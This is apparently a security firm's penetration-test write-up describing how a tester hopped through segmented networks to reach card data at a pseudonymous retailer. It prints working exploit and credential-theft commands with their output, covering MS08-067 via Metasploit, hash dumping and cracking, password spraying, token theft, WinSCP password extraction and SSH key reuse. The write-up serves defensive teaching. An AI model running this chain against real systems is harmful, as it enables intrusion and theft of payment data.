Island Hopping the SpiderLabs Way
More and more, I find myself having to fight with highly segmented networks and ACL's. As a pentester, I long for the old days of flat networks. When you only REALLY needed one broadcast domain, and they made /8's for a reason. You fancy kids with your switches and your subnetting; Chopping up your networks into a million segments chock full of ACL's. You are making me work, and work is hard!
Of course, I kid. Segmentation should be a large part of network design. Its refreshing to see a nicely partitioned network, piled high with an extra helping of ACL's and filtering.
Segmentation was the name of the game with BananaStand, who sells bananas from various outlets. They needed a Penetration Test, and I was happy to oblige. In this particular test, I was after card holder data. That data lived in the production network in a far-away datacenter. In-between myself and the goods were no less than 4 different security zones, all VLAN'd up. Each network had access control lists (ACL) to the network before it, requiring me to hop through every security zone in order to make it to my final destination. The path looks something like this:
Internal Windows Domain > Internal Linux network > Internet (OMG Clouds!) > SSH Jump Boxes > Production network
You Must Be This Tall to Ride (The Windows Network)
I plugged into the Internal Windows LAN and got to work. After some quick scans of the local network, I noticed a juicy-looking, neglected Windows 2000 box:
- 10.10.3.50:445 is running Windows 2000 Service Pack 0 - 4 (name:PBX01) (domain:BANANASTAND)
Looks like someone forgot to run Windows Update. I loaded up Metasploit and used ms08_067_netapi:
msf > exploit(ms08_067_netapi) > exploit[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows 2000 - Service Pack 0 - 4 - lang:English[*] Selected Target: Windows 2000 Universal[*] Attempting to trigger the vulnerability...[*] Sending stage (752128 bytes) to 10.10.3.52[*] Meterpreter session 1 opened (10.10.3.222:49690 -> 10.10.3.50:4444) at 2012-02-01:05:10 -0600
Once that old Win2k system was compromised, I dumped its local password hashes:
meterpreter > hashdumpAdministrator:500:9372160817E7D6DDF8EB9E79DF318C14:68F85DB59023BCF9E72F03109DF7FD3C:::
The first thing I noticed was that the hashes were stored in LanMan (LM) format. With my LM All-Space Rainbow Tables in hand, I fed in the hashes:
$ /pentest/rcracki_mt_0.6.6_src/rcracki_mt -t 4 -f bananastand.local /pentest/tables/rti/lm_allspace/Using 4 threads for pre-calculation and false alarm checking...Found 82 rainbowtable files...statistics-------------------------------------------------------plaintext found: 2 of 2 (100.00%)total disk access time: 214.29 stotal cryptanalysis time: 24.19 stotal pre-calculation time: 88.53 stotal chain walk step: 399880008total false alarm: 28370total chain walk step due to false alarm: 104820219result-------------------------------------------------------Administrator VeeL@nsRul3
So now we know the local user account is the unchanged 'Administrator' and its password, at least on this system, is 'VeeL@nsRul3'. Then I fired up a password-guessing tool to see where else this account was valid:
# medusa -H windows.hosts -u administrator -p 'VeeL@nsRul3' -M smbnt ACCOUNT FOUND: [smbnt] Host: 10.10.3.124 User: administrator Password: VeeL@nsRul3 [SUCCESS]ACCOUNT FOUND: [smbnt] Host: 10.10.3.128 User: administrator Password: VeeL@nsRul3 [SUCCESS]ACCOUNT FOUND: [smbnt] Host: 10.10.3.131 User: administrator Password: VeeL@nsRul3 [SUCCESS]ACCOUNT FOUND: [smbnt] Host: 10.10.3.139 User: administrator Password: VeeL@nsRul3 [SUCCESS]ACCOUNT FOUND: [smbnt] Host: 10.10.3.150 User: administrator Password: VeeL@nsRul3 [SUCCESS]ACCOUNT FOUND: [smbnt] Host: 10.10.3.151 User: administrator Password: VeeL@nsRul3 [SUCCESS]ACCOUNT FOUND: [smbnt] Host: 10.10.3.152 User: administrator Password: VeeL@nsRul3 [SUCCESS]ACCOUNT FOUND: [smbnt] Host: 10.10.3.157 User: administrator Password: VeeL@nsRul3 [SUCCESS]ACCOUNT FOUND: [smbnt] Host: 10.10.3.158 User: administrator Password: VeeL@nsRul3 [SUCCESS]ACCOUNT FOUND: [smbnt] Host: 10.10.3.50 User: administrator Password: VeeL@nsRul3 [SUCCESS]ACCOUNT FOUND: [smbnt] Host: 10.10.3.72 User: administrator Password: VeeL@nsRul3 [SUCCESS]ACCOUNT FOUND: [smbnt] Host: 10.10.3.85 User: administrator Password: VeeL@nsRul3 [SUCCESS]ACCOUNT FOUND: [smbnt] Host: 10.10.3.94 User: administrator Password: VeeL@nsRul3 [SUCCESS]
With a few clicks, I found that this local administrator account was valid on a ton of other systems. This makes life easier, as I can just pop each system using the local admin account, and then check to see what domain users are logged in. Eventually, I stumbled across the RECEPTION04 system:
[*] Started bind handler[*] Connecting to the server...[*] Authenticating to 10.10.3.72:445 as user 'Administrator'...[*] Uploading payload...[*] Created \kOOvNVqT.exe...[*] Binding to 367ab81-944-35f1-ad32-9838001003:2.0@ncacn_np:10.10.3.72[\svcctl] ...[*] Bound to 367ab81-944-35f1-ad32-9838001003:2.0@ncacn_np:10.10.3.72[\svcctl] ...[*] Obtaining a service manager handle...[*] Creating a new service (oIqHXGXi - "MxhiLxUKbWrrBnKLsxugGPyp")...[*] Closing service handle...[*] Opening service...[*] Starting the service...[*] Removing the service...[*] Closing service handle...[*] Deleting \kOOvNRqT.exe...[*] Sending stage (752128 bytes) to 10.10.3.72[*] Meterpreter session 1 opened (10.10.3.222:58016 -> 10.10.3.72:4444) at 2012-02-01-01:15:14 -0600
Once I had a session on that system, I fired up Incognito and checked to see what user tokens were available. This showed me any interactive (logged-in users) sessions that I could steal.
meterpreter > use incognitosuccess.meterpreter > list_tokens -gDelegation Tokens Available========================================BUILTIN\AdministratorsBUILTIN\Performance Log UsersBUILTIN\UsersBANANASTAND\Domain AdminsBANANASTAND\Domain UsersBANANASTAND\Enterprise AdminsNT AUTHORITY\LOCAL SERVICENT AUTHORITY\NETWORK SERVICENT AUTHORITY\This Organization
Someone from the 'Domain Admins' (and amazingly enough, the 'Enterprise Admins') group was logged into this box. Next, I grabbed his password hash using gsecdump:
meterpreter > upload gsecdump.exe [*] uploading : gsecdump.exe -> gsecdump.exe[*] uploaded : gsecdump.exe -> gsecdump.exemeterpreter > shellProcess 3568 created.Channel 4 created.Microsoft Windows [Version 5.2.3790](C) Copyright 1985-2003 Microsoft Corp.C:\>gsecdump.exe -agsecdump.exe -aAdministrator:500:9372160817E7D6DDF8EB9E79DF318C14:68F85DB59023BCF9E72F03109DF7FD3C:::BANANASTAND\backupadmin::EF369B31ED3567BBF74B38A0CE915525:2BF54AE01EE1B234D990C47A635DA850:::
Looks like BANANASTAND\backupadmin was our big winner here. Next, I queried a domain controller (DC) for some more information:
C:\>net user backupadmin /domainnet user backupadmin /domainThe request will be processed at a domain controller for domain BANANASTAND.local.User name backupadminFull Name backupadminComment Backup Agent-Service accountUser's comment Country code 000 (System Default)Account active YesAccount expires Never Password last set 9/26/2009 6:23 PMPassword expires NeverPassword changeable 9/29/2009 6:23 PMPassword required YesUser may change password Yes Workstations allowed AllLogon script User profile Home directory Last logon 1/29/2012 3:01 PM Logon hours allowed All Local Group Memberships Global Group memberships *Domain Users *BANANASTANDDomainServices *Exchange Organization*TechServices *Domain Admins *Enterprise AdminsThe command completed successfully.
Just what I wanted - BANANASTAND\backupadmin was a member of the Domain Admins group. Just like before, I loaded up my LM Rainbow Tables to recover the plaintext password for BANANASTAND\backupadmin:
$ ./rcracki_mt -t 4 -f ./bananastand.backupadmin /pentest/tables/rti/lm_all/Using 4 threads for pre-calculation and false alarm checking...Found 80 rainbowtable files...statistics-------------------------------------------------------plaintext found: 2 of 2 (100.00%)total disk access time: 266.36 stotal cryptanalysis time: 7.34 stotal pre-calculation time: 22.85 stotal chain walk step: 149955003total false alarm: 12539total chain walk step due to false alarm: 46151964 result-------------------------------------------------------BANANASTAND\backupadmin iB@ckStuffUP!!
The Linux Network
At this point, I was Domain Admin on the BANANASTAND domain. My next stop was an adjacent network full of Linux machines - the 172 network. I used my admin-level access to the Windows domain to speed things up a bit. Any mixed Linux / Windows shop will eventually have to use Windows tools to administer Linux systems. Tools such as Putty and WinSCP are common. I found all the BANANASTAND systems that had them installed by dumping the Windows registry uninstall keys via the REG QUERY command:
# for i in $(cat hosts); do echo $i; ./winexe -U 'BANANASTAND/backupadmin%iB@ckStuffUP!!' --uninstall //$i "REG QUERY HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ /s" | grep ' DisplayName' | grep -i -e putty -e winscp; done10.10.3.2110.10.3.3410.10.3.3510.10.3.3610.10.3.38 DisplayName REG_SZ WinSCP 4.2.810.10.3.50 DisplayName REG_SZ WinSCP 4.3.610.10.3.5610.10.3.7610.10.3.7710.10.3.8110.10.3.85
Great – I found two systems with WinSCP installed. You can manually check the registry to see if the user is using the 'save credentials' feature of WinSCP by dumping the appropriate keys:
# ./winexe -U 'BANANASTAND/backupadmin%iB@ckStuffUP!!' //10.10.3.38 'reg query "HKEY_USERS\S-1-5-21-605236246-205523031-3074324515-10457\Software\\Martin Prikryl\WinSCP 2" /s'HKEY_USERS\S-1-5-21-605236246-205523031-3074324515-10457\Software\\Martin Prikryl\WinSCP 2\Sessions\jbob@devbox1.bananastand.localHostName REG_SZ devbox1.bananastand.localUserName REG_SZ jbobPassword REG_SZ A35JLQK3J334124NXCIRBCP8Y3B984Q5VTUYCNTUYQV489T6BCQ04TIQP4BPVTLNIIDJVEIACTOEIUTYBCOIETYQ98TBCOEITCQUHKEY_USERS\S-1-5-21-605236246-205523031-3074324515-10457\Software\\Martin Prikryl\WinSCP 2\Sessions\jbob@preprod02.bananastand.localHostName REG_SZ preprod02.bananastand.localPassword REG_SZ A35JLQK3J334124NXCIRBCP8Y3B984Q5VTUYCNTUYQV489T6BCQ04TIQP4BPVTLNIIDJVEIACTOEIUTYBCOIETYQ98TBCOEITCQUUserName REG_SZ jbob
It looks like this user was saving passwords in WinSCP. By default, the way WinSCP stores its password hashes in the registry is very weak. It uses a known string and XOR value to obfuscate the password. Knowing the method, it possible to obtain the cleartext passwords using a little voodoo. I cheated and just used the Metasploit post module:
meterpreter > run post/windows/gather/credentials/winscp [*] Looking for WinSCP.ini file storage...[*] WinSCP.ini file NOT found...[*] Looking for Registry Storage...[*] Host: devbox1.bananastand.local Port: 22 Protocol: SCP Username: jbob Password: secretp@ssw0rd!@#[*] Host: preprod02.bananastand.local Port: 22 Protocol: SCP Username: jbob Password: secretp@ssw0rd!@#[*] Done!
Once I had the cleartext passwords for the jbob account, I tried to login to the corresponding systems:
# ssh jbob@devbox1.bananastand.localjbob@devbox1.bananastand.local's password: Last login: Wed Feb 01 01:53:36 2012 from 10.10.3.222[jbob@devbox1 ~]$
Fantastic, the accounts were still valid. I poked around the system for a bit and noticed that jbob was in the sudoers group:
[jbob@devbox1 ~]$ sudo sujbob Password:[root@devbox1 guest]# whoamiroot
I ran a quick password test to see what other Linux systems shared jbob's creds:
# ncrack -iL linux.ssh.hosts --user jbob --pass 'secretp@ssw0rd!@#' -p sshStarting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2012-02-01 01:55 CSTDiscovered credentials on ssh://172.30.60.100:22 'jbob' 'secretp@ssw0rd!@#'Discovered credentials on ssh://172.30.60.29:22 'jbob' 'secretp@ssw0rd!@#'Discovered credentials on ssh://172.30.60.33:22 'jbob' 'secretp@ssw0rd!@#'Discovered credentials on ssh://172.30.60.102:22 'jbob' 'secretp@ssw0rd!@#'Discovered credentials on ssh://172.30.60.25:22 'jbob' 'secretp@ssw0rd!@#'Discovered credentials on ssh://172.30.60.39:22 'jbob' 'secretp@ssw0rd!@#'Discovered credentials on ssh://172.30.60.34:22 'jbob' 'secretp@ssw0rd!@#'Discovered credentials on ssh://172.30.60.112:22 'jbob' 'secretp@ssw0rd!@#'...
Empty your pockets, kid!
So at this point, I've managed to root just about everything at this location. I popped the Windows domain, and then I hopped into the adjacent Linux network. From here - I had to find my way across the Internet and into a pair of SSH jump boxes at BananaStand's colo environment, and then into the production network behind them. I got back to work.
With user / sudo access to a ton of Linux machines, I wrote a quick script to run around to each one and grab /etc/shadow and any ~/.ssh/ folders. After pouring over the results, I noticed most of the systems had the same key in /home/nagios/.ssh/authorized_keys (originating from nagmon01.bananastand.local):
[root@devbox1 ~]# cat /home/nagios/.ssh/authorized_keys #Key for Nagios checks over SSHssh-rsa MIIEowIBAA2KCAQEAxQaP4qjFbwdYFmB52VaHHtazabA8Hqb8GFY0VP5p8lnVZwmo2I3QmE7DXjGNqE8DlDa10QNO1FK5YvgG2sKauR3BQgGrA3fot2q4qKBhOjDeB08Ldj42wUhfVXuDYc5AcdXe= nagios@nagmon01.bananastand.local
I then went after the nagmon01 system to see if I could use the jbob account to get into it. I couldn't access the nagmon01 system directly from the Windows network - so I had to hop through another Linux host in the 172 net first:
# ssh jbob@devbox1.bananastand.localjbob@devbox1.bananastand.local's password:Last login: Wed Feb 01 02:33:36 2012 from 10.10.3.222[jbob@devbox1 ~]$
Now that I am sourcing from the 172 network, I can hit that nagmon01 box:
[jbob@devbox1 ~]$ ssh jbob@nagmon01.bananastand.localjbob@nagmon01.bananastand.local's password: Last login: Mon Feb 01 02:38:25 2012 from devbox1.bananastand.local[jbob@nagmon01 ~]$
Thank goodness for shared credentials! Next, I wanted to see if we had sudo access on this box as well:
[jbob@nagmon01 ~]$ sudo sujbob Password:[root@nagmon01 ]# whoamiroot
Perfect. I've now got root access to the nagios monitoring box in the 172 Linux network. Next, I hopped over to the nagios user so I could use its SSH key (the private SSH key to the public counterpart we found earlier):
[root@nagmon01 ]# su nagios[nagios@nagmon01 ]$ whoaminagios
Out of the house and into the clouds
When I took a peek at .ssh/known_hosts on nagmon01, I saw over 500 systems listed. This Nagios install was a talker! Spot-checking a few of the hosts listed gave me very limited permissions, and the nagios user wasn't in the sudo group. Even if it was, I would need to know the password to this account to use it. I found a pair of public IP addresses in the known_hosts file; The SSH jump boxes out at the colo. I tried to log in (note the lack of password input - I used the SSH key for auth here):
[nagios@nagmon01 ~]$ ssh jumpbox01.bananastand.local************************************************************************** This system is for authorized users only. Access by non-bananastand users will result in hospitalization. Press Ctrl-C to end this login attempt **************************************************************************[nagios@jumpbox01.bananastand.local ~]$
So I've made my way onto one of the jump boxes at the colo, but I had super limited privileges. I started poking around in /etc looking for something I could grab - but I couldn't read /etc/shadow to grab hashes. In a stroke of hacker luck, I found /etc/shadow.backup set with world-read rights. I grabbed a copy and got to cracking. A couple hours of coffee chugging and GPU abuse later, I managed to recover the following accounts:
- nagios:NO PASSWORD
- jgrunz:i<3cats2
- jaku:beta955
- ptj:lilw@yne
- zfas:brb.clubING
Backing up one hop, I tried each recovered account against the jumpbox01 system. All the accounts were valid - but the ptj account was the only one with sudo rights. Since we arent using a SSH key anymore, and we know the password to the ptj account, we can login and sudo to root:
[nagios@nagmon01 ~]$ ssh ptj@jumpbox01.bananastand.local ************************************************************************** This system is for authorized users only. Access by non-bananastand users will result in hospitalization. Press Ctrl-C to end this login attempt **************************************************************************ptj@jumpbox01.bananastand.local's password:[ptj@jumpbox01.bananastand.local ~]$
Then I used sudo to hop to root:
[ptj@jumpbox01.bananastand.local ~]$ sudo suptj Password:[root@jumpbox01 /home/ptj]#
Your production is my production
I am now root on one of the SSH jump boxes at the colo net. I have one more hop into the production network. A peek at /etc/hosts showed me a short list of systems in the production net. Using the same ptj account, I scanned the prod systems and found that 3 or 4 of them shared the same ptj account credentials. Bad ptj!
[root@jumpbox01 /home/ptj]# ssh ptj@web02.prodptj@web02.prod's password: [ptj@web02.prod ~]$ sudo suptj Password:[root@web02.prod /home/ptj]# whoamiroot
Once root on a production target machine, I started to dig for credit card numbers. I stumbled across /mnt/data/outgoing_reconcile. It appeared to be temporary storage for credit card transactions on their way out to the payment processor. I took a peek into one of the files and found a bit over 370 lines, each with a name, address, cleartext credit card number and its CVV2 value:
[root@web02.prod outgoing_reconcile]# wc -l 55048534448374.outgoing374
Then I checked to see how many total files were in that folder:
[root@web02.prod outgoing_reconcile]# ls *.outgoing | wc -l 856
If there's an average of 370 entries per file, and that folder had 850+ outgoing files, that gives us more than 300,000 potential credit card numbers. Bananas are hot business!
To recap - I had to compromise the following systems in order to arrive here:
- The entire Windows domain - so I could find the machines with WinSCP installed.
- devbox1.bananastand.local - Located in the Linux network. I used creds found on the Windows network to access it.
- nagmon01.bananastand.local - Monitoring system in the Linux network. I got here using jbob's shared credentials.
- jumpbox01.bananastand.local - The SSH Jump Box located at the Colo. Monitored by the nagmon01 system via SSH keys. Also the only way to get into the production network.
- web02.prod - A production webserver located inside the Colo. Found in excess of 300,000 credit card numbers stored here.
In the end, I had Domain Admin on the BANANASTAND domain, and either root or limited user access to the majority of Linux systems. I used this access to bypass ACL's and hop onto one of the SSH jump boxes at the colo. From the jump box, I used shared credentials to log onto one of the production web servers and dump customer credit card data.
So there you have it; the story of BananaStand. They had a decent network setup with good segmentation and restrictive security zones. However, poor patching and password policies made it an easy task to hop from one network to the next, defeating ACL's as we went. At least for hackers, theres always money in the Banana Stand.
ABOUT TRUSTWAVE
Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.